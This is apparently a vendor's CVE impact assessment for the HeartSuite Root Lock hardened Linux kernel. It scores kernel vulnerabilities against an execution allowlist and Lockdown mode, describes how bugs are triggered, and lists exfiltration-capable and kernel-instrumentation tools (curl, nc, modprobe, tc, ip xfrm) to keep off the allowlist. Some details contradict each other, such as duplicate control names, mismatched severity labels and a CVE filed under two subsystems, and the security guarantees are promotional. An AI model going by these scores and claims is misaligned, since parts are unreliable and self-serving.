CVE-2024-56600IPv6 networking stack (CONFIG_IPV6)7.8 HIGH7.3 HIGHAffected — CONFIG_IPV6=y; Lockdown limits post-exploitation
CVE-2024-56601TCP/IP networking (CONFIG_INET)7.8 HIGH7.3 HIGHAffected — CONFIG_INET=y; Lockdown limits post-exploitation
CVE-2024-56616DRM subsystem (CONFIG_DRM)7.8 HIGH0.0DisplayPort MST display hardware absent
CVE-2022-48701USB audio driver (CONFIG_SND_USB_AUDIO)7.1 HIGH0.0CONFIG_SND_USB_AUDIO not set
CVE-2024-36916block I/O cost controller (CONFIG_BLK_CGROUP_IOCOST)7.1 HIGH0.0Not exploitable — iocost cgroup paths not in allowlist; Lockdown prevents modification
CVE-2024-38560Brocade bfa SCSI driver (CONFIG_SCSI_BFA)7.1 HIGH0.0Not Affected — CONFIG_SCSI_BFA not set
CVE-2024-40978QLogic qedi iSCSI driver (CONFIG_SCSI_QEDI)7.1 HIGH0.0Not Affected — CONFIG_SCSI_QEDI not set
CVE-2024-46747Cougar HID driver (CONFIG_HID_COUGAR)7.1 HIGH0.0Not Affected — CONFIG_HID_COUGAR not set
CVE-2024-50278dm-cache (CONFIG_DM_CACHE)7.1 HIGH0.0Not Affected — CONFIG_DM_CACHE not compiled
CVE-2024-50279dm-cache (CONFIG_DM_CACHE)7.1 HIGH0.0Not Affected — CONFIG_DM_CACHE not compiled
CVE-2024-53147FAT/exFAT filesystem (CONFIG_FAT_FS)7.1 HIGH0.0Not exploitable — Lockdown blocks mount(); no adversary-controlled FAT volume on HS
CVE-2024-53150USB audio driver (CONFIG_SND_USB_AUDIO)7.1 HIGH0.0Not Affected — CONFIG_SND_USB_AUDIO not compiled
CVE-2024-56663cfg80211 wireless stack (CONFIG_CFG80211)7.1 HIGH0.0Not exploitable — no WiFi NIC present
CVE-2025-21993iSCSI iBFT driver (CONFIG_ISCSI_IBFT)7.1 HIGH0.0Not Affected — CONFIG_ISCSI_IBFT not set
CVE-2025-22121ext4 filesystem (CONFIG_EXT4_FS)7.1 HIGH7.1 HIGHAffected — CONFIG_EXT4_FS=y; Lockdown limits post-exploitation
CVE-2025-37785ext4 filesystem (CONFIG_EXT4_FS)7.1 HIGH0.0Not exploitable — mount() blocked by Lockdown; crafted ext4 image cannot be mounted
CVE-2022-49865IPv6 networking stack (CONFIG_IPV6)7.1 HIGH7.1 HIGHAffected — CONFIG_IPV6=y; base I:N, Lockdown limits post-exploitation persistence
CVE-2025-38103HID subsystem (CONFIG_HID)7.1 HIGH0.0No USB HID input devices on headless server
CVE-2025-38249ALSA sound subsystem (CONFIG_SND)7.1 HIGH0.0No audio hardware present
CVE-2025-38556HID subsystem (CONFIG_HID)7.1 HIGH0.0No USB HID input devices on headless server
CVE-2025-39757ALSA sound subsystem (CONFIG_SND)7.1 HIGH0.0No audio hardware present
CVE-2025-39760USB core (CONFIG_USB)7.1 HIGH0.0Not exploitable — no USB device on headless server; descriptor parsing path unreachable
CVE-2022-50306ext4 filesystem (CONFIG_EXT4_FS)7.1 HIGH0.0Not exploitable — mount() blocked by Lockdown
CVE-2023-53321mac80211 wireless stack (CONFIG_MAC80211)7.1 HIGH0.0No WiFi NIC present
CVE-2023-53376Broadcom mpi3mr SAS driver (CONFIG_SCSI_MPI3MR)7.1 HIGH0.0Not Affected — CONFIG_SCSI_MPI3MR not set
CVE-2023-53392HID subsystem (CONFIG_HID)7.1 HIGH0.0No USB HID input devices on headless server
CVE-2023-53521SCSI Enclosure Services (CONFIG_ENCLOSURE_SERVICES)7.1 HIGH0.0Not Affected — CONFIG_ENCLOSURE_SERVICES not set
CVE-2023-53675SCSI Enclosure Services (CONFIG_ENCLOSURE_SERVICES)7.1 HIGH0.0Not Affected — CONFIG_ENCLOSURE_SERVICES not set
CVE-2026-23076ALSA sound subsystem (CONFIG_SND)7.1 HIGH0.0No audio hardware present
CVE-2026-23318ALSA sound subsystem (CONFIG_SND)7.1 HIGH0.0No audio hardware present
CVE-2023-3268relay filesystem (CONFIG_RELAY)7.1 HIGH0.0Not exploitable — debugfs relay not in allowlist; Lockdown prevents modification
CVE-2023-3567virtual terminal (VT) (CONFIG_VT)7.1 HIGH7.1 HIGHAffected — CONFIG_VT=y; base I:N, Lockdown limits post-exploitation persistence
CVE-2024-26593Intel SMBus I2C controller (CONFIG_I2C_I801)7.1 HIGH0.0Not exploitable — no I2C tool in allowlist; Lockdown prevents modification
CVE-2024-34777DMA map benchmark (CONFIG_DMA_MAP_BENCHMARK)7.1 HIGH0.0Not Affected — CONFIG_DMA_MAP_BENCHMARK not compiled in HS kernel
CVE-2024-49860ACPI subsystem (CONFIG_ACPI)7.1 HIGH0.0Not exploitable — malformed ACPI _STR firmware absent; standard OEM firmware conforms to spec
CVE-2022-49799kernel tracing (CONFIG_TRACING)7.1 HIGH0.0Not exploitable — tracefs not in allowlist; Lockdown prevents modification
CVE-2025-37879Plan 9 filesystem (9P) (CONFIG_9P_FS)7.1 HIGH0.0Not exploitable — mount() blocked by Lockdown; no 9P filesystem on HS deployments
CVE-2025-39869DMA engine framework (CONFIG_DMA_ENGINE)7.1 HIGH0.0Texas Instruments eDMA hardware absent
CVE-2024-36883TCP/IP networking (CONFIG_INET)7.1 HIGH0.0Not exploitable — pernet race requires module loading; kmod’s access to modprobe.d blocked by Lockdown file-access enforcement
CVE-2024-50193x86_64 architecture (CONFIG_X86_64)7.1 HIGH0.0Not exploitable — perf_event_open() blocked by perf_event_paranoid=3
CVE-2024-26654ALSA sound subsystem (CONFIG_SND)7.0 HIGH0.0No audio hardware present
CVE-2024-26939Intel i915 DRM driver (CONFIG_DRM_I915)7.0 HIGH0.0No Intel display GPU present
CVE-2022-48689TCP receive zerocopy (CONFIG_INET)7.0 HIGH6.5 MEDIUMAffected — CONFIG_INET=y; Lockdown reduces MI: High→Low (AC:H base)
CVE-2025-39702IPv6 networking stack (CONFIG_IPV6)7.0 HIGH6.5 MEDIUMAffected — CONFIG_IPV6=y; Lockdown reduces MI: High→Low (AC:H base)
CVE-2023-6531Unix domain sockets (CONFIG_UNIX)7.0 HIGH6.5 MEDIUMAffected — CONFIG_UNIX=y; Lockdown reduces MI: High→Low (AC:H base)
CVE-2023-51043DRM subsystem (CONFIG_DRM)7.0 HIGH0.0Not exploitable — no DRM/GPU device on headless server
CVE-2025-37915network traffic scheduler (CONFIG_NET_SCHED)7.0 HIGH0.0Not exploitable — tc not in allowlist; Lockdown prevents modification
CVE-2024-0775ext4 filesystem (CONFIG_EXT4_FS)6.7 HIGH0.0Not exploitable — mount(MS_REMOUNT) blocked by Lockdown; ext4 remount entry point unreachable
CVE-2024-0841hugetlbfs (CONFIG_HUGETLBFS)6.6 MEDIUM0.0Not exploitable — mount() blocked by Lockdown; hugetlbfs mount path unreachable

Over 1,000 CVEs across 178 disabled-feature groups are listed in Not Affected — Disabled Features below.

How to read the backstop sections

Root Lock by HeartSuite runs two independent kernel-level controls, and the entries below reference both. They are not peers in a list — one is load-bearing, one is defense-in-depth, and the distinction matters when reading residual risk:

  • Lockdown (load-bearing). hs_sandbox_caching.c enforces the SPF allowlist on every execve. This check runs unconditionally — it is not gated by HS_lockdown_state — so it continues to refuse non-allowlisted programs even if an attacker with arbitrary kernel write clears Lockdown. The only Lockdown-conditional behavior in this file is an additional log-file write block; the allowlist match itself is independent.
  • Lockdown (defense-in-depth). sys_hs_lockdown_hs() sets HS_lockdown_state = 7. While that atomic is nonzero, kernel/ioctl.c:561,568 returns EPERM on FS_IOC_GETFLAGS/FS_IOC_SETFLAGS (closing the chattr -i path that would otherwise let root strip immutability from the allowlist file), and kernel/namespace.c:4218,4300,4453 returns EPERM on all mount paths. There are five HS_locked_down() check sites total in the kernel — none in fs/ or net/ — so Lockdown is an API-gate layer, not an in-line corruption boundary.

The load-bearing control against persistence and lateral expansion is Lockdown’s allowlist. Even in the worst case where an attacker chains a kernel UAF into arbitrary write and clears HS_lockdown_state, they still cannot run new programs, modify the allowlist, install backdoors, or survive a reboot, because the allowlist check is not on the same state machine. They regain only the ability to mount filesystems and set immutable flags — meaningful but bounded.

Per-CVE entries below name the bug, then state which of these two layers limits its post-exploitation impact and how. The standard backstop paragraph is intentionally short: it points back here rather than re-litigating the architecture in every entry.

Why this is unusual

Most kernel hardening products gate enforcement on a single state variable that an attacker with arbitrary kernel write can clear in one instruction. Root Lock by HeartSuite does not work that way. Lockdown’s allowlist is consulted on every execve regardless of Lockdown’s state — there is no kill-switch an attacker can flip. Even in the worst case examined anywhere in this document, the system continues to refuse new code execution. That is the property that makes the per-CVE backstops below short, calm, and identical: the answer is the same for every CVE, because the answer is structural.

Note on Scores on HeartSuite and deployment tuning

The Scores on HeartSuite published in this document assume a worst-case allowlist composition — i.e., that your Lockdown allowlist contains common utilities including networked tools (curl, wget, ssh outbound, nc, python with sockets, etc.). Under that assumption, an attacker who reaches root via one of the Affected CVEs retains a confidentiality impact of HIGH (MC:H) because they can read sensitive data and pipe it out via an already-allowlisted networked utility. This is the conservative, deployment-agnostic floor.

If you run a tighter allowlist, you may legitimately credit a lower MC. Specifically:

  • Allowlist contains zero outbound-networking utilities (no curl, wget, outbound ssh, nc, scripting languages with socket access, etc.): MC:L becomes defensible — the attacker can read on disk but has no in-band exfiltration path within Lockdown’s allowlist. Out-of-band (physical-console, side-channel) exfiltration remains possible; that’s why the credit is L, not N.
  • Allowlist contains zero process-mutation utilities (no kill, pkill, init-system control surfaces beyond what HS itself uses): MA:L becomes defensible for the disruption-via-userspace component, though kernel-level availability impact (panics, OOM via syscalls) is independent of allowlist composition and keeps MA:H for any CVE that grants kernel-context primitives.

These are deployment-specific reductions and are not baked into the published Scores on HeartSuite in this document. If you have hardened your allowlist accordingly, you can recompute your deployment-specific score by adjusting MC and/or MA in the modified vector. The published scores are correct for any deployment that has not affirmatively confirmed the tighter conditions above.

Note on Not-exploitable entries that depend on allowlist composition

Several Not-exploitable entries below justify their 0.0 Score on HeartSuite with phrasing of the form “X not in allowlist.” These claims are accurate for any HeartSuite deployment built through the standard Setup Mode workflow, where the allowlist is populated from production service activity. Utilities not invoked during that workflow would not be added to the allowlist. Specifically, the following utilities should not be allowlisted on a production Root Lock by HeartSuite deployment:

  • modprobe, insmod / kmod — kernel module loading. On Debian 12, these resolve to kmod, which standard Setup Mode does allowlist; the protection is Lockdown’s file-access enforcement denying kmod access to /usr/lib/modprobe.d/. Granting kmod that access reverts CVE-2024-36883 (and any other module-loading-dependent CVE) to Affected.
  • tc (iproute2 traffic control) — qdisc/filter manipulation. Allowlisting reverts CVE-2025-37914 / 37915 / 37923 / 22121 and other NET_SCHED CVEs to Affected.
  • bpftool, trace-cmd, perf, debugfs/tracefs writers — kernel instrumentation. Allowlisting reverts the kprobe / tracing / perf CVE cluster (CVE-2024-38588 etc.) to Affected.
  • dmsetup, raw block-device tools, cryptsetup mappings created post-boot — block-layer mutation. Same shape.
  • ip xfrm, setkey, strongSwan, libreswan, or any IKE daemon — XFRM management. Allowlisting any of these enables XFRM security association setup, making esp_output reachable and reverting CVE-2026-43284 to Affected 8.8 HIGH.
  • e4defrag or any extent-defragmentation tool — ext4 online defragmentation. Allowlisting reverts CVE-2024-26704 to Affected 7.8 HIGH.

If you run a development, debug, or instrumentation-heavy deployment and legitimately need any of the above, treat the corresponding Not-exploitable entries in this document as Affected for your environment, and apply the standard Affected backstop logic (Lockdown’s allowlist still refuses unknown programs, but the now-allowlisted utility is itself the trigger). The “Not exploitable” classifications below are correct for Root Lock by HeartSuite deployments; they are not universal.

CVE-2026-31431

Status: Not Affected
Component: algif_aead — the in-kernel AEAD interface exposed by the AF_ALG socket family (CONFIG_CRYPTO_USER_API_AEAD)
Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — CNA (kernel.org); NVD assessment pending
Upstream fix: Linux 6.12.85 (LTS), 6.18.22 (LTS), 6.19.12 (LTS)

This CVE describes a privilege escalation through the AF_ALG socket interface. An attacker who can open an AF_ALG socket reaches algif_aead_copy_sgl(), exploits a copy-on-write failure in the scatter-gather list handling, and gains root.

CONFIG_CRYPTO_USER_API_AEAD is not compiled into the Root Lock by HeartSuite kernel. The AF_ALG socket family is not available. An attempt to open an AF_ALG socket returns EAFNOSUPPORT — there is no algif_aead code present in the running kernel and therefore no reachable code path. The Root Lock by HeartSuite kernel predates the upstream fix versions listed above, but the fix is not required: the fix removes a vulnerability in code that was never compiled in.

Lockdown closes the remaining question. Even if the code path were present, Lockdown — chattr +i filesystem immutability combined with the Root Lock by HeartSuite kernel refusing runtime changes to the allowlist — removes every useful action root can take after gaining privilege. The kernel refuses to clear immutable flags. Mount operations are blocked in Lockdown. Writes to the audit log are blocked. Root cannot modify the allowlist, add a backdoor, or persist across a reboot.

See Deployment Scenarios → Production Servers for the architectural context of how Lockdown interacts with a privilege escalation reaching root.

CVE-2026-43284

Status: Not exploitable
Component: XFRM framework and IPv6 ESP (CONFIG_XFRM, CONFIG_INET6_ESP)
Base Score: 8.8 HIGH — NVD full vector assessment pending
Score on HeartSuite: 0.0 — esp_output is unreachable; no XFRM security association can be established on a default Root Lock by HeartSuite deployment
Upstream fix: merged; backported to active stable series by 2026-05-09 (5.19 branch is EOL; no backport — not required for HS)

This CVE describes a write-what-where condition in the esp_output page-write path. The vulnerable code is at net/ipv6/esp6.c:524: tail = page_address(page) + pfrag->offset followed by esp_output_fill_trailer(tail, esp->tfclen, esp->plen, esp->proto). If pfrag->offset is corrupted or attacker-influenced, the trailer write reaches an arbitrary kernel page address. The identical pattern exists in net/ipv4/esp4.c:489 (CONFIG_INET_ESP, not compiled), but the absence of IPv4 ESP is irrelevant — esp6.c carries the same code. The bug is one half of the “Dirty Frag” exploit chain; chaining it with CVE-2026-43500 produces a deterministic privilege escalation.

CONFIG_INET6_ESP=y is compiled in and esp6.c:524 is present in the running kernel. The esp_output function is called only when the kernel encrypts an outgoing packet that matches a configured XFRM security association. With no security association configured, esp_output is never reached — by any user, at any privilege level. Configuring a XFRM security association requires XFRM management tooling: ip xfrm (iproute2), setkey, strongSwan, libreswan, or an equivalent IKE daemon. None of these are in the Root Lock by HeartSuite default allowlist. Under Lockdown, the allowlist is chattr +i immutable and FS_IOC_SETFLAGS returns EPERM for all callers — root cannot add management tools and therefore cannot establish a security association. The esp_output page-write path is unreachable for the lifetime of the boot.

The Dirty Frag chain has no second link on this system regardless: CONFIG_AF_RXRPC is not compiled (see CVE-2026-43500).

The trigger cannot be reached on any default Root Lock by HeartSuite deployment.

If your deployment adds XFRM management tooling (ip xfrm, setkey, strongSwan, libreswan, or an equivalent IKE daemon) to the HS allowlist, a security association can be established and esp_output becomes reachable. In that configuration this CVE applies at its base score of 8.8 HIGH. Treat it as Affected and apply the standard backstop logic.

CVE-2026-43500

Status: Not Affected
Component: rxrpc — RxRPC transport protocol (CONFIG_AF_RXRPC)
Base Score: 7.8 HIGH — NVD full vector assessment pending
Upstream fix: merged; backported to active stable series by 2026-05-09 (5.19 branch is EOL; no backport — not required for HS)

This CVE describes a local privilege escalation through an out-of-bounds write in the rxrpc transport protocol implementation. It is the second half of the “Dirty Frag” exploit chain (paired with CVE-2026-43284); chaining both produces a deterministic privilege escalation to root.

CONFIG_AF_RXRPC is not compiled into the Root Lock by HeartSuite kernel. The rxrpc address family is not available; an attempt to open an AF_RXRPC socket returns EAFNOSUPPORT. The vulnerable code in net/rxrpc/ is entirely absent from the running kernel. The Root Lock by HeartSuite kernel predates the upstream fix, but the fix is not required: there is no reachable code path for this bug on any Root Lock by HeartSuite deployment. The Dirty Frag chain has no second link on this system.

The trigger cannot be reached on any Root Lock by HeartSuite deployment.

CVE-2024-47685

Status: Score on HeartSuite 0.0 — trigger not present in default configuration Component: nf_reject_ipv6 — IPv6 netfilter TCP RST generation (CONFIG_NF_REJECT_IPV6, CONFIG_IP6_NF_TARGET_REJECT)
Base Score: 9.1 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H)
Score on HeartSuite: 0.0 — trigger not present; HeartSuite installs no ip6tables REJECT rules
Upstream fix: Linux 4.19.323, 5.4.285, 5.10.227, 5.15.168, 6.1.113, 6.6.54, 6.10.13, 6.11.2 (5.19 branch is EOL; no backport — not required for HS)

This CVE describes an information disclosure in the IPv6 netfilter TCP reset path. When the kernel sends a TCP RST packet in response to a connection rejected by an ip6tables rule, nf_reject_ip6_tcphdr_put() allocates a TCP header via skb_put() without zeroing the buffer. The function then writes every field in the header explicitly except the four reserved bits (th->res1) in byte 12. Those bits retain whatever value was in the allocated kernel memory region. The RST packet is sent with that uninitialized content on the wire.

CONFIG_NF_REJECT_IPV6=y and CONFIG_IP6_NF_TARGET_REJECT=y are compiled in. The code path exists in this kernel. The vulnerable function has five callers across the kernel source. In this configuration only ip6t_REJECT.c is compiled — the remaining four callers (nft_reject_ipv6, nft_reject_inet, nft_reject_bridge, nft_reject_netdev) are all gated by CONFIG_NF_TABLES, which is built as module (m) and not loaded at boot. Reaching the vulnerable code therefore requires an active ip6tables rule using REJECT --reject-with tcp-reset on IPv6 traffic. The Root Lock by HeartSuite install scripts and service unit contain no ip6tables rules of any kind. If you manually add such a rule, this path becomes exposed.

Lockdown does not patch the vulnerability mechanism — the kernel still places uninitialized bits into the packet header if the path is reached. However, the program allowlist and Lockdown together make the triggering condition unreachable in practice.

To trigger this CVE, you must first add an ip6tables rule with REJECT --reject-with tcp-reset. That requires running ip6tables with root privilege. In Lockdown, HeartSuite’s program allowlist is enforced at the kernel level for every user including root: a program without a valid allowlist entry cannot execute regardless of the caller’s privilege level. Network management utilities such as ip6tables have no allowlist entry on a production HeartSuite deployment, so root cannot run them and the rule cannot be added.

Lockdown closes the remaining path. Even if an attacker gained root and attempted to add ip6tables to the allowlist first, Lockdown blocks every mechanism for doing so: FS_IOC_SETFLAGS (the ioctl used by chattr) returns EPERM for all callers during lockdown, so immutable flags cannot be cleared from the allowlist database files; mount(), fsmount(), and move_mount() all return EPERM, blocking any bind-mount or remount workaround; and the HeartSuite reactivation path is disabled, preventing the service from being reconfigured to accept new entries.

The result is a two-layer guarantee: the program allowlist prevents the trigger from being established, and Lockdown ensures the allowlist cannot be modified to enable the tools that would establish it. A 9.1 CRITICAL CVE that requires setting up an ip6tables REJECT rule becomes unreachable by any user, including root, once Lockdown is in force.

CVE-2022-41674, CVE-2022-42719, CVE-2022-42720

Status: Not exploitable Component: mac80211 — 802.11 wireless stack (CONFIG_MAC80211)
Base Scores: CVE-2022-42719: 8.8 HIGH (AV:A); CVE-2022-41674: 8.1 HIGH (AV:A); CVE-2022-42720: 7.8 HIGH (AV:A)
Score on HeartSuite: 0.0 — no WiFi hardware present; attack vector (frame injection via wireless NIC) has no path to execution
Affected range: Linux 5.19.x before 5.19.16
Upstream fix: Linux 5.4.218–219, 5.10.148–149, 5.15.74, 5.19.16, 6.0.2

These three CVEs cover memory corruption in the mac80211 multi-BSSID scanning path, exploitable by an attacker who can inject 802.11 management frames:

  • CVE-2022-41674 (CVSS 8.1) — buffer overflow in ieee80211_bss_info_update() in net/mac80211/scan.c triggered by a crafted beacon or probe response with a malformed multi-BSSID element
  • CVE-2022-42719 (CVSS 8.8) — use-after-free when parsing a multi-BSSID element, exploitable to crash the kernel or gain privilege
  • CVE-2022-42720 (CVSS 7.8) — refcounting bugs in multi-BSS handling reachable through the same scanning path

CONFIG_MAC80211=y is compiled in and 5.19.6 is within the affected version range for all three. The entry point is ieee80211_scan_rx() in net/mac80211/rx.c, which has a single caller: the hardware NIC interrupt RX path. A physical WiFi NIC must be present, registered, and receiving frames for any of these paths to execute. CONFIG_MAC80211_HWSIM (software WiFi simulator) is not set. On server deployments without a WiFi interface the code paths are unreachable.

If exploited on a deployment with WiFi hardware, all three CVEs lead to kernel memory corruption that can escalate to root. At that point Lockdown constrains everything the attacker can do with that root access.

HeartSuite makes the allowlist database files immutable before Lockdown is engaged. Once Lockdown is active, FS_IOC_SETFLAGS returns EPERM for all callers (kernel/ioctl.c), so root cannot use chattr to clear those immutable flags and rewrite the allowlist. mount(), fsmount(), and move_mount() all return EPERM (kernel/namespace.c), blocking any bind-mount or remount attempt to shadow or replace the allowlist files. HeartSuite reactivation is disabled during Lockdown, so the service cannot be reconfigured to accept new entries through any path.

Lockdown’s allowlist adds a further constraint on program execution: every execution is checked at the kernel level, applying equally to root. An attacker who has gained root cannot execute a backdoor program they drop onto the filesystem — it has no allowlist entry, and the kernel refuses to run it regardless of file ownership or permission bits.

CVE-2023-0266

Status: Not exploitable Component: ALSA PCM — in-kernel sound subsystem (CONFIG_SND)
Base Score: 7.9 HIGH (AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H)
Score on HeartSuite: 0.0 — no audio hardware present; no /dev/snd devices; ioctl path unreachable
Affected range: Linux 5.16 through 6.1.5
Upstream fix: Linux 4.14.303, 4.19.270, 5.4.229, 5.10.163, 5.15.88, 6.1.6 (5.19 branch is EOL; no backport — not required for HS)

This CVE describes a use-after-free in the ALSA PCM control interface. SNDRV_CTL_IOCTL_ELEM_READ and SNDRV_CTL_IOCTL_ELEM_WRITE (32-bit compat variants) are missing locks that allow a local user to trigger a use-after-free and gain elevated privilege.

CONFIG_SND=y is compiled in and 5.19.6 falls within the affected range. Reaching the vulnerable code requires an ALSA-accessible sound device. Server deployments without audio hardware have no /dev/snd devices and no reachable path to this ioctl.

If exploited on a deployment with audio hardware, the CVE achieves local privilege escalation to root. At that point Lockdown constrains everything the attacker can do with that root access.

The allowlist database files are made immutable before Lockdown is engaged. Once Lockdown is active, FS_IOC_SETFLAGS returns EPERM for all callers (kernel/ioctl.c), so root cannot use chattr to clear those immutable flags and rewrite the allowlist. mount(), fsmount(), and move_mount() all return EPERM (kernel/namespace.c), blocking any bind-mount or remount attempt to shadow or replace the allowlist files. HeartSuite reactivation is disabled during Lockdown, so the service cannot be reconfigured to accept new entries through any path.

Lockdown’s allowlist adds a further constraint on program execution: every execution is checked at the kernel level, applying equally to root. An attacker who has gained root cannot execute a backdoor program they drop onto the filesystem — it has no allowlist entry, and the kernel refuses to run it regardless of file ownership or permission bits.

CVE-2022-4139

Status: Not exploitable Component: i915 GPU driver (CONFIG_DRM_I915)
Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Score on HeartSuite: 0.0 — no i915 GPU present; GPU context entry point unreachable
Affected range: Linux 5.16 through 6.0.10
Upstream fix: Linux 5.4.226, 5.10.157, 5.15.81, 6.0.11 (5.19 branch is EOL; no backport — not required for HS)

This CVE describes an incorrect TLB flush in the Intel i915 GPU driver. When GPU memory mappings are changed, a missing or incorrect TLB invalidation can leave stale translation entries active, allowing writes to land in the wrong physical pages. This can corrupt kernel memory and is exploitable by a local user with access to a GPU context to gain elevated privilege.

CONFIG_DRM_I915=y is compiled in and 5.19.6 falls within the affected range. Reaching the vulnerable path requires an Intel i915 GPU to be present and accessible. Deployments without i915 hardware have no reachable path to this driver.

The vulnerable path never opens. The bug exists in the source — not on this system.

CVE-2023-2236, CVE-2022-3910

Status: Affected
Component: io_uring — asynchronous I/O subsystem (CONFIG_IO_URING)
Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Score on HeartSuite: 7.1–7.3 HIGH — Lockdown reduces MI: High→Low (no allowlist modification, no persistence, no backdoors); C and A remain High; score stays within the HIGH band
Affected ranges: CVE-2023-2236: 5.19 through 6.0.10; CVE-2022-3910: 5.18 through 5.19.10
Upstream fix: CVE-2023-2236: 6.0.11; CVE-2022-3910: 5.19.11 (5.19 branch is EOL for CVE-2023-2236; CVE-2022-3910 fix was in-branch but 5.19.6 predates it)

What this means for an attacker:

Both CVEs describe use-after-free conditions in io_uring’s fixed file management, exploitable by a local user to gain root:

  • CVE-2023-2236 — double fput() in the io_install_fixed_file() path. When an async open operation installs a fixed file and encounters an error, io_install_fixed_file() calls fput(file) at its error label; the caller then calls fput(file) a second time. The file’s reference count reaches zero while the object is still referenced, producing a use-after-free.
  • CVE-2022-3910 — improper reference count update in io_uring’s fixed file handling that leads to a use-after-free and local privilege escalation.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IO_URING=y is compiled in. The io_uring_setup syscall has no capability gate — any local user can create an io_uring ring and reach both vulnerable paths. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

These constraints are why the Score on HeartSuite reflects a reduced MI (High→Low): root cannot modify the allowlist, cannot install persistent backdoors, and cannot survive a reboot. Confidentiality and Availability impacts remain High, reflecting that an attacker with a live root session can still read data and disrupt services within the bounds of already-permitted processes.

A more sophisticated exploit could use the kernel use-after-free to directly corrupt kernel data structures before surfacing in userspace. In that scenario Lockdown’s API-level restrictions are not the binding constraint — the corruption happens below the layer where those checks operate. This is why the Score on HeartSuite does not reach 0.0: the io_uring path is reachable by any local user, and pre-userspace kernel corruption is outside the scope of what Lockdown addresses.

CVE-2024-0775

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 6.7 MEDIUM (AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — mount(MS_REMOUNT) blocked by Lockdown; ext4 remount entry point unreachable Affected range: kernels through 6.7.2, 6.6.15, 6.1.79, 5.15.148, 5.10.211, 5.4.270, 4.19.308 (5.19 branch is EOL; no backport) Upstream fix: Linux 6.7.3, 6.6.16, 6.1.80, 5.15.149, 5.10.212, 5.4.271, 4.19.309

This CVE describes a use-after-free in the __ext4_remount() error path in fs/ext4/super.c. When a remount operation fails and rolls back to saved options, the function restores quota file name pointers via rcu_assign_pointer(sbi->s_qf_names[i], old_opts.s_qf_names[i]) and then frees the displaced current pointer via kfree(to_free[i]). If the success path has already freed those names at the earlier kfree(old_opts.s_qf_names[i]) call, the error path operates on already-freed memory. The CVE requires CAP_SYS_ADMIN (implicit in PR:H) because mount(MS_REMOUNT) is a privileged operation.

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server. __ext4_remount() is reached exclusively via mount(MS_REMOUNT) — a privileged operation that Lockdown blocks unconditionally. do_mount() returns EPERM whenever HS_locked_down() is true (kernel/namespace.c:4218), so root cannot call mount() at all; the CVE’s entry point is blocked at the syscall level before any ext4 code is reached. In Lockdown, the allowlist additionally prevents execution of any exploit program that would invoke the remount path.

CVE-2023-52530

Status: Not exploitable Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present; WoWLAN path unreachable Affected range: kernels through 6.7.3, 6.6.18, 6.1.81, 5.15.150, 5.10.214, 5.4.273, 4.19.311 (5.19 branch is EOL; no backport) Upstream fix: Linux 6.7.4, 6.6.19, 6.1.82, 5.15.151, 5.10.215, 5.4.274, 4.19.312

This CVE describes a use-after-free in the mac80211 WoWLAN (Wake on Wireless LAN) GTK rekey path. When ieee80211_gtk_rekey_add() installs a new group temporal key, it calls ieee80211_key_link(). If the new key is identical to the one already installed — the KRACK protection path — ieee80211_key_link() frees the new key via ieee80211_key_free_unused(key) and returns 0 to signal that the reinstall was silently accepted. ieee80211_gtk_rekey_add() treats the 0 return as success, skips the error branch, and returns &key->conf — a pointer into the object that was just freed. The caller receives a dangling pointer to freed ieee80211_key memory.

CONFIG_MAC80211=y is compiled in. The entry point ieee80211_gtk_rekey_add() guards itself with WARN_ON(!local->wowlan): it requires WoWLAN to be active, which in turn requires a WiFi NIC with WoWLAN firmware support, a wireless interface, and an active station association. No WiFi network interface card is present on a server deployment. Without WiFi hardware, mac80211 creates no wireless interfaces and neither the rekey path nor any other mac80211 code path is reachable.

If exploited on a deployment with WiFi hardware and WoWLAN active, the CVE leads to kernel memory corruption that can escalate to root. At that point Lockdown constrains everything the attacker can do with that root access.

The allowlist database files are made immutable before Lockdown is engaged. FS_IOC_SETFLAGS returns EPERM for all callers (kernel/ioctl.c), so root cannot use chattr to clear those immutable flags and rewrite the allowlist. mount(), fsmount(), and move_mount() all return EPERM (kernel/namespace.c), blocking any bind-mount or remount attempt to shadow or replace the allowlist files. HeartSuite reactivation is disabled during Lockdown, so the service cannot be reconfigured to accept new entries through any path.

Lockdown’s allowlist adds a further constraint on program execution: every execution is checked at the kernel level, applying equally to root. An attacker who has gained root cannot execute a backdoor program they drop onto the filesystem — it has no allowlist entry, and the kernel refuses to run it regardless of file ownership or permission bits.

CVE-2023-52612

Status: Not exploitable Component: kernel crypto framework — scomp interface (CONFIG_CRYPTO) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_INET_IPCOMP not compiled; no compression algorithm registered; scomp_acomp_comp_decomp() unreachable Affected range: kernels prior to stable fixes in the 6.7.x, 6.6.x, 6.1.x, 5.15.x, 5.10.x, and 5.4.x series (5.19 branch is EOL; no backport) Upstream fix: merged in Linux 6.8-rc; backported across active stable series

